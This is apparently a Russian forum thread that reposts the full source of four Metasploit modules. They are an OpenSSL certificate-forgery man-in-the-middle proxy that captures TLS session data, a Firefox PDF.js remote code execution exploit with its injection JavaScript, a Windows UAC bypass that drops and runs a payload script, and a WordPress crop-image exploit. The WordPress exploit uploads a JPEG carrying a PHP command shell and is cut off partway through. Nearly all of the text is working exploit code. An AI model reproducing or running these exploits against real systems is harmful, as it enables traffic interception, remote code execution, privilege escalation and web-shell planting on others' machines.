Модули для Metasploit Framework

OpenSSL Alternative Chains Certificate Forgery MITM Proxy



Код:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'openssl'

class Metasploit3 < Msf::Auxiliary

  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'OpenSSL Alternative Chains Certificate Forgery MITM Proxy',
      'Description'    => %q{
        This module exploits a logic error in OpenSSL by impersonating the server
        and sending a specially-crafted chain of certificates, resulting in
        certain checks on untrusted certificates to be bypassed on the client,
        allowing it to use a valid leaf certificate as a CA certificate to sign a
        fake certificate. The SSL/TLS session is then proxied to the server
        allowing the session to continue normally and application data transmitted
        between the peers to be saved.

        The valid leaf certificate must not contain the keyUsage extension or it
        must have at least the keyCertSign bit set (see X509_check_issued function
        in crypto/x509v3/v3_purp.c); otherwise; X509_verify_cert fails with
        X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY. This module requires an
        active man-in-the-middle attack.
      },
      'Author'      =>
        [
          'David Benjamin', # Vulnerability discovery
          'Adam Langley', # Vulnerability discovery
          'Ramon de C Valle' # Metasploit module
        ],
      'License' => MSF_LICENSE,
      'Actions'     =>
        [
          [ 'Service' ]
        ],
      'PassiveActions' =>
        [
          'Service'
        ],
      'DefaultAction'  => 'Service',
      'References' => [
        ['CVE', '2015-1793'],
        ['CWE', '754'],
        ['URL', 'http://www.openssl.org/news/secadv_20150709.txt'],
        ['URL', 'http://git.openssl.org/?p=openssl.git;a=commit;h=f404943bcab4898d18f3ac1b36479d1d7bbbb9e6']
      ],
      'DisclosureDate' => 'Jul 9 2015'
    )

    register_options(
      [
        OptString.new('CACERT', [ true, "The leaf certificate's CA certificate", nil]),
        OptString.new('CERT', [ true, 'The leaf certificate', nil]),
        OptString.new('KEY', [ true, "The leaf certificate's private key", nil]),
        OptString.new('PASSPHRASE', [ false, "The pass phrase for the leaf certificate's private key", nil]),
        OptString.new('SUBJECT', [ false, 'The subject field for the fake certificate', '/C=US/ST=California/L=Mountain View/O=Example Inc/CN=*.example.com']),
        OptString.new('HOST', [ true, 'The server address', nil]),
        OptString.new('PORT', [ true, 'The server port', 443]),
        OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
        OptString.new('SRVPORT', [ true, 'The proxy port', 443])
      ], self.class)
  end

  def cleanup
    super
    return unless @proxy

    begin
      @proxy.deref if @proxy.kind_of?(Rex::Service)
      if @proxy.kind_of?(Rex::Socket)
        @proxy.close
        @proxy.stop
      end
      @proxy = nil
    rescue ::Exception
    end
  end

  def run
    host = datastore['HOST']
    port = datastore['PORT']
    local_host = datastore['SRVHOST']
    local_port = datastore['SRVPORT']

    root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
    root_ca_key = OpenSSL::PKey::RSA.new(2048)
    root_ca_cert = OpenSSL::X509::Certificate.new
    root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
    root_ca_cert.not_after = Time.now + 86400
    root_ca_cert.not_before = Time.now
    root_ca_cert.public_key = root_ca_key.public_key
    root_ca_cert.serial = 0
    root_ca_cert.subject = root_ca_name
    root_ca_cert.version = 2
    extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
    root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
    root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
    root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
    root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

    inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
    inter_ca_key = OpenSSL::PKey::RSA.new(2048)
    inter_ca_cert = OpenSSL::X509::Certificate.new
    inter_ca_cert.issuer = root_ca_name
    inter_ca_cert.not_after = Time.now + 86400
    inter_ca_cert.not_before = Time.now
    inter_ca_cert.public_key = inter_ca_key.public_key
    inter_ca_cert.serial = 0
    inter_ca_cert.subject = inter_ca_name
    inter_ca_cert.version = 2
    extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
    inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
    inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
    inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
    inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)

    subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CACERT']))
    subinter_ca_cert.issuer = inter_ca_name
    subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
    leaf_key = OpenSSL::PKey::RSA.new(File.read(datastore['KEY']), datastore['PASSPHRASE'])
    leaf_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CERT']))

    fake_name = OpenSSL::X509::Name.parse(datastore['SUBJECT'])
    fake_key = OpenSSL::PKey::RSA.new(2048)
    fake_cert = OpenSSL::X509::Certificate.new
    fake_cert.issuer = leaf_cert.subject
    fake_cert.not_after = Time.now + 3600
    fake_cert.not_before = Time.now
    fake_cert.public_key = fake_key.public_key
    fake_cert.serial = 0
    fake_cert.subject = fake_name
    fake_cert.version = 2
    extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
    fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
    fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
    fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
    fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)

    context = OpenSSL::SSL::SSLContext.new
    context.cert = fake_cert
    context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
    context.key = fake_key

    @proxy = Rex::Socket::SslTcpServer.create(
      'LocalHost' => local_host,
      'LocalPort' => local_port,
      'SSLContext' => context,
      'Context'   =>
        {
          'Msf'        => framework,
          'MsfExploit' => self
        })

    print_status('Listening on %s:%d' % [local_host, local_port])

    thread_num = 0

    loop do
      framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client|
        add_socket(client)
        application_data = ''
        print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport])

        server = Rex::Socket::Tcp.create(
          'PeerHost' => host,
          'PeerPort' => port,
          'SSL'      => true,
          'SSLVerifyMode' => 'NONE',
          'Context'  =>
            {
              'Msf'        => framework,
              'MsfExploit' => self
            })
        add_socket(server)

        print_status('Connected to %s:%d' % [host, port])

        begin
          loop do
            readable, _, _ = IO.select([client, server])

            readable.each do |r|
              data = r.get_once
              print_status('%d bytes received' % [data.bytesize])

              application_data << data

              case r
              when client
                count = server.put(data)
                print_status('%d bytes sent' % [count])
              when server
                count = client.put(data)
                print_status('%d bytes sent' % [count])
              end
            end
          end

        rescue EOFError, Errno::ECONNRESET
          path = store_loot(
            'tls.application_data',
            'application/octet-stream',
            client.peerhost,
            application_data,
            'application_data',
            'TLS session application data'
          )

          print_good("SSL/TLS session application data successfully stored in #{path}")

          client.close
          server.close

          next
        end

        client.close
        server.close
      end
    end
  end

end
 
Firefox PDF.js Privileged Javascript Injection

This Metasploit module gains remote code execution on Firefox 35-36 by abusing a privilege escalation bug in resource:// URIs. PDF.js is used to exploit the bug. This exploit requires the user to click anywhere on the page to trigger the vulnerability.

Код:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

  def initialize(info={})
    super(update_info(info,
      'Name'        => 'Firefox PDF.js Privileged Javascript Injection',
      'Description' => %q{
        This module gains remote code execution on Firefox 35-36 by abusing a
        privilege escalation bug in resource:// URIs. PDF.js is used to exploit
        the bug. This exploit requires the user to click anywhere on the page to
        trigger the vulnerability.
      },
      'Author'         => [
        'Unknown', # PDF.js injection code was taken from a 0day
        'Marius Mlynski', # discovery and pwn2own exploit
        'joev'     # copypasta monkey, CVE-2015-0802
      ],
      'DisclosureDate' => "Mar 31 2015",
      'License'     => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2015-0816'], # pdf.js can load chrome://
          ['CVE', '2015-0802']  # can access messageManager property in chrome window
        ],
      'Targets' => [
        [
          'Universal (Javascript XPCOM Shell)', {
            'Platform' => 'firefox',
            'Arch' => ARCH_FIREFOX
          }
        ],
        [
          'Native Payload', {
            'Platform' => %w{ java linux osx solaris win },
            'Arch'     => ARCH_ALL
          }
        ]
      ],
      'DefaultTarget' => 0,
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::FF,
        :ua_ver  => lambda { |ver| ver.to_i.between?(35, 36) }
      }
    ))

    register_options([
      OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
    ], self.class)
  end

  def on_request_exploit(cli, request, target_info)
    print_status('Sending exploit...')
    send_response_html(cli, html)
  end

  def html
    "<!doctype html><html><body>#{datastore['CONTENT'] || default_html}"+
    "<script>#{js}</script></body></html>"
  end

  def default_html
    "The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
  end

  def js
    key = Rex::Text.rand_text_alpha(5 + rand(12))
    frame = Rex::Text.rand_text_alpha(5 + rand(12))
    r = Rex::Text.rand_text_alpha(5 + rand(12))
    opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin

    <<-EOJS
function xml2string(obj) {
  return new XMLSerializer().serializeToString(obj);
}

function __proto(obj) {
  return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
}

function get(path, callback, timeout, template, value) {
  callback = _(callback);
  if (template && value) {
    callback = callback.replace(template, value);
  }
  js_call1 = 'javascript:' + _(function() {
    try {
      done = false;
      window.onclick = function() {
        if (done) { return; } done = true;
        q = open("%url%", "q", "chrome,,top=-9999px,left=-9999px,height=1px,width=1px");
        setTimeout(function(){
          q.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';

            setTimeout(function(){
              var opts = #{JSON.unparse(opts)};
              var key = opts['#{key}'];
              q.messageManager.loadFrameScript('data:,'+key, false);
              setTimeout(function(){
                q.close();
              }, 100)
            }, 100)
        }, 100);
      }
    } catch (e) {
      history.back();
    }
    undefined;
  }, "%url%", path);
  js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';
  sandboxContext(_(function() {
    p = __proto(i.contentDocument.styleSheets[0].ownerNode);
    l = p.__lookupSetter__.call(i2.contentWindow, 'location');
    l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
  }));
  setTimeout((function() {
    sandboxContext(_(function() {
      p = __proto(i.contentDocument.styleSheets[0].ownerNode);
      l = p.__lookupSetter__.call(i2.contentWindow, 'location');
      l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
    }));
  }), timeout);
}

function get_data(obj) {
  data = null;
  try {
    data = obj.document.documentElement.innerHTML;
    if (data.indexOf('dirListing') < 0) {
      throw new Error();
    }
  } catch (e) {
    if (this.document instanceof XMLDocument) {
        data = xml2string(this.document);
    } else {
      try {
          if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {
              data = this.document.body.firstChild.textContent;
          } else {
              throw new Error();
          }
      } catch (e) {
        try {
          if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
              return null;
          } else {
              throw new Error();
          }
        } catch (e) {
         ;;
        }
      }
    }
  }
  return data;
}

function _(s, template, value) {
  s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];
  s = s.substring(0, s.length - 1);
  if (template && value) {
    s = s.replace(template, value);
  }
  s += __proto;
  s += xml2string;
  s += get_data;
  s = s.replace(/\\s\\/\\/.*\\n/g, "");
  s = s + ";undefined";
  return s;
}

function get_sandbox_context() {
  if (window.my_win_id == null) {
    for (var i = 0; i < 20; i++) {
      try {
        if (window[i].location.toString().indexOf("view-source:") != -1) {
          my_win_id = i;
          break;
        }
      } catch (e) {}
    }
  };
  if (window.my_win_id == null)
    return;
  clearInterval(sandbox_context_i);
  object.data = 'view-source:' + blobURL;
  window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';
  object.data = 'data:text/html,<'+'html/>';
  window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+
    '"position:absolute; left:-9999px;" onload = "'+_(function(){
    window.wrappedJSObject.sandboxContext=(function(cmd) {
      with(importFunction.constructor('return this')()) {
        return eval(cmd);
      }
    });
  }) + '"/>');
}

var HIDDEN = 'position:absolute;left:-9999px;height:1px;width:1px;';
var i = document.createElement("iframe");
i.id = "i";
i.style=HIDDEN;
i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";
document.documentElement.appendChild(i);
i.onload = function() {
  if (this.contentDocument.styleSheets.length > 0) {
    var i2 = document.createElement("iframe");
    i2.id = "i2";
    i2.style='opacity: 0;position:absolute;top:0;left:0;right:0;bottom:0;';
    i2.height = window.innerHeight+'px';
    i2.width = window.innerWidth+'px';
    i2.src = "data:application/pdf,";
    document.documentElement.appendChild(i2);
    pdfBlob = new Blob([''], {
        type: 'application/pdf'
    });
    blobURL = URL.createObjectURL(pdfBlob);
    object = document.createElement('object');
    object.style=HIDDEN;
    object.data = 'data:application/pdf,';
    object.onload = (function() {
        sandbox_context_i = setInterval(get_sandbox_context, 200);
        object.onload = null;
        object.data = 'view-source:' + location.href;
        return;
    });
    document.documentElement.appendChild(object);
  } else {
    this.contentWindow.location.reload();
  }
}

document.body.style.height = window.innerHeight+'px';

var kill = setInterval(function() {
  if (window.sandboxContext) {
    var f = "chrome://browser/content/browser.xul";
    get(f, function() {}, 0, "%URL%", f);
    clearInterval(kill);
  } else {
    return;
  }
},20);

EOJS
  end
end
 
Windows Escalate UAC Protection Bypass

This Metasploit module will bypass Windows UAC by utilizing the missing .manifest on the script host cscript/wscript.exe binaries.

Код:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::FileDropper
  include Exploit::Powershell
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)',
      'Description'   => %q{
        This module will bypass Windows UAC by utilizing the missing .manifest on the script host
        cscript/wscript.exe binaries.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'Vozzie',
          'Ben Campbell'
        ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [
          [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
      ],
      'DefaultTarget' => 0,
      'References'    => [
        [
          'URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html',
          'URL', 'https://github.com/Vozzie/uacscript'
        ]
      ],
      'DisclosureDate'=> 'Aug 22 2015'
    ))

  end

  def exploit
    # Validate that we can actually do things before we bother
    # doing any more work
    validate_environment!
    check_permissions!

    # get all required environment variables in one shot instead. This
    # is a better approach because we don't constantly make calls through
    # the session to get the variables.
    env_vars = get_envs('TEMP', 'WINDIR')

    case get_uac_level
      when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
        UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
        UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
        fail_with(Failure::NotVulnerable,
                  "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
        )
      when UAC_DEFAULT
        print_good('UAC is set to Default')
        print_good('BypassUAC can bypass this setting, continuing...')
      when UAC_NO_PROMPT
        print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
        shell_execute_exe
        return
    end

    vbs_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.vbs"

    upload_vbs(vbs_filepath)

    cmd_exec("cscript.exe //B #{vbs_filepath}")
  end

  def check_permissions!
    # Check if you are an admin
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?

    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    else
      if admin_group
        print_good('Part of Administrators group! Continuing...')
      else
        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
      end
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end

  def upload_vbs(payload_filepath)
    vbs = File.read(File.join(Msf::Config.data_directory,
                                  'exploits',
                                  'scripthost_uac_bypass',
                                  'bypass.vbs'))

    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)

    vbs.gsub!('COMMAND', command)
    print_status('Uploading the Payload VBS to the filesystem...')
    begin
      vprint_status("Payload VBS #{vbs.length} bytes long being uploaded..")
      write_file(payload_filepath, vbs)
      register_file_for_cleanup(payload_filepath)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")
    end
  end

  def validate_environment!
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?

    winver = sysinfo['OS']

    case winver
    when /Windows (7|2008)/
      print_good("#{winver} may be vulnerable.")
    else
      fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
    end

    if is_uac_enabled?
      print_status('UAC is Enabled, checking level...')
    else
      unless is_in_admin_group?
        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
      end
    end
  end
end
 
Пожалуйста, обратите внимание, что пользователь заблокирован
WordPress 5.0.0 - Crop-image Shell Upload

Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Crop-image Shell Upload',
      'Description'     => %q{
          This module exploits a path traversal and a local file inclusion
          vulnerability on WordPress versions 5.0.0 and <= 4.9.8.
          The crop-image function allows a user, with at least author privileges,
          to resize an image and perform a path traversal by changing the _wp_attached_file
          reference during the upload. The second part of the exploit will include
          this image in the current theme by changing the _wp_page_template attribute
          when creating a post.

          This exploit module only works for Unix-based systems currently.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
      [
        'RIPSTECH Technology',                               # Discovery
        'Wilfried Becard <wilfried.becard@synacktiv.com>'    # Metasploit module
      ],
    'References'      =>
      [
        [ 'CVE', '2019-8942' ],
        [ 'CVE', '2019-8943' ],
        [ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/']
      ],
      'DisclosureDate'  => 'Feb 19 2019',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['WordPress', {}]],
      'DefaultTarget'   => 0
    ))

    register_options(
      [
        OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
      ])
  end

  def check
    cookie = wordpress_login(username, password)
    if cookie.nil?
      store_valid_credential(user: username, private: password, proof: cookie)
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def get_wpnonce(cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php')
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => uri,
      'cookie' => cookie
    )
    if res && res.code == 200 && res.body && !res.body.empty?
      res.get_hidden_inputs.first["_wpnonce"]
    end
  end

  def get_wpnonce2(image_id, cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => uri,
      'cookie'    => cookie,
      'vars_get'  => {
        'post'   => image_id,
        'action' => "edit"
      }
    )
    if res && res.code == 200 && res.body && !res.body.empty?
      tmp = res.get_hidden_inputs
      wpnonce2 = tmp[1].first[1]
    end
  end

  def get_current_theme
    uri = normalize_uri(datastore['TARGETURI'])
    res = send_request_cgi!(
      'method'    => 'GET',
      'uri'       => uri
    )
    fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty?

    theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first
    fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme

    theme
  end

  def get_ajaxnonce(cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => uri,
      'cookie' => cookie,
      'vars_post'  => {
        'action' => 'query-attachments',
        'post_id' => '0',
        'query[item]' => '43',
        'query[orderby]' => 'date',
        'query[order]' => 'DESC',
        'query[posts_per_page]' => '40',
        'query[paged]' => '1'
      }
    )
    fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty?
    a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first
    fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce

    a_nonce
  end

  def upload_file(img_name, wp_nonce, cookie)
    img_data = %w[
      FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F
      74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00
      10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00
      3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69
      6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D
      20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09
      08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D
      27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06
      09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24
      24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24
      24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF
      C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06
      07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01
      02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1
      15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38
      39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73
      74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4
      A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4
      D5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF
      C4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06
      07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00
      01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09
      23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37
      38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A
      73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2
      A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2
      D3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF
      DA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B
      3F 3E
    ]
    img_data = [img_data.join].pack('H*')
    img_name += '.jpg'

    boundary = "#{rand_text_alphanumeric(rand(10) + 5)}"
    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"name\"\r\n"
    post_data << "\r\n#{img_name}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"action\"\r\n"
    post_data << "\r\nupload-attachment\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"_wpnonce\"\r\n"
    post_data << "\r\n#{wp_nonce}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"async-upload\"; filename=\"#{img_name}\"\r\n"
    post_data << "Content-Type: image/jpeg\r\n"
    post_data << "\r\n#{img_data}\r\n"
    post_data << "--#{boundary}--\r\n"
    print_status("Uploading payload")
    upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php')

    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => upload_uri,
      'ctype'    => "multipart/form-data; boundary=#{boundary}",
      'data'     => post_data,
      'cookie'   => cookie
    )
    fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty?
    print_good("Image uploaded")
    res = JSON.parse(res.body)
    image_id = res["data"]["id"]
    update_nonce = res["data"]["nonces"]["update"]
    filename = res["data"]["filename"]
    return filename, image_id, update_nonce
  end

  def image_editor(img_name, ajax_nonce, image_id, cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => uri,
      'cookie' => cookie,
      'vars_post'  => {
        'action' => 'image-editor',
        '_ajax_nonce' => ajax_nonce,
        'postid' => image_id,
        'history' => '[{"c":{"x":0,"y":0,"w":400,"h":300}}]',
        'target' => 'all',
        'context' => '',
        'do' => 'save'
      }
    )
    fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty?
    filename = res.body.scan(/(#{img_name}-\S+)-/).flatten.first
    fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename

    filename << '.jpg'
  end

  def change_path(wpnonce2, image_id, filename, current_date, path, cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => uri,
      'cookie' => cookie,
      'vars_post'  => {
        '_wpnonce' => wpnonce2,
        'action' => 'editpost',
        'post_ID' => image_id,
        'meta_input[_wp_attached_file]' => "#{current_date}#{filename}#{path}"
      }
    )
  end

  def crop_image(image_id, ajax_nonce, cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => uri,
      'cookie' => cookie,
      'vars_post'  => {
        'action' => 'crop-image',
        '_ajax_nonce' => ajax_nonce,
        'id' => image_id,
        'cropDetails[x1]' => 0,
        'cropDetails[y1]' => 0,
        'cropDetails[width]' => 400,
        'cropDetails[height]' => 300,
        'cropDetails[dst_width]' => 400,
        'cropDetails[dst_height]' => 300
      }
    )
  end

  def include_theme(shell_name, cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php')
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => uri,
      'cookie' => cookie
    )
    if res && res.code == 200 && res.body && !res.body.empty?
      wpnonce2 = res.body.scan(/name="_wpnonce" value="(\w+)"/).flatten.first
      post_id = res.body.scan(/"post":{"id":(\w+),/).flatten.first
      fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id

      post_title = Rex::Text.rand_text_alpha(10)
      uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
      res = send_request_cgi(
        'method'   => 'POST',
        'uri'      => uri,
        'cookie' => cookie,
        'vars_post'  => {
          '_wpnonce'=> wpnonce2,
          'action' => 'editpost',
          'post_ID' => post_id,
          'post_title' => post_title,
          'post_name' => post_title,
          'meta_input[_wp_page_template]' => "cropped-#{shell_name}.jpg"
        }
      )
      fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302
      post_id
    end
  end

  def check_for_base64(cookie, post_id)
    uri = normalize_uri(datastore['TARGETURI'])
    # Test if base64 is on target
    test_string = 'YmFzZTY0c3BvdHRlZAo='
    res = send_request_cgi!(
      'method'   => 'GET',
      'uri'      => uri,
      'cookie' => cookie,
      'vars_get' => {
        'p' => post_id,
        '0' => "echo #{test_string} | base64 -d"
      }
    )
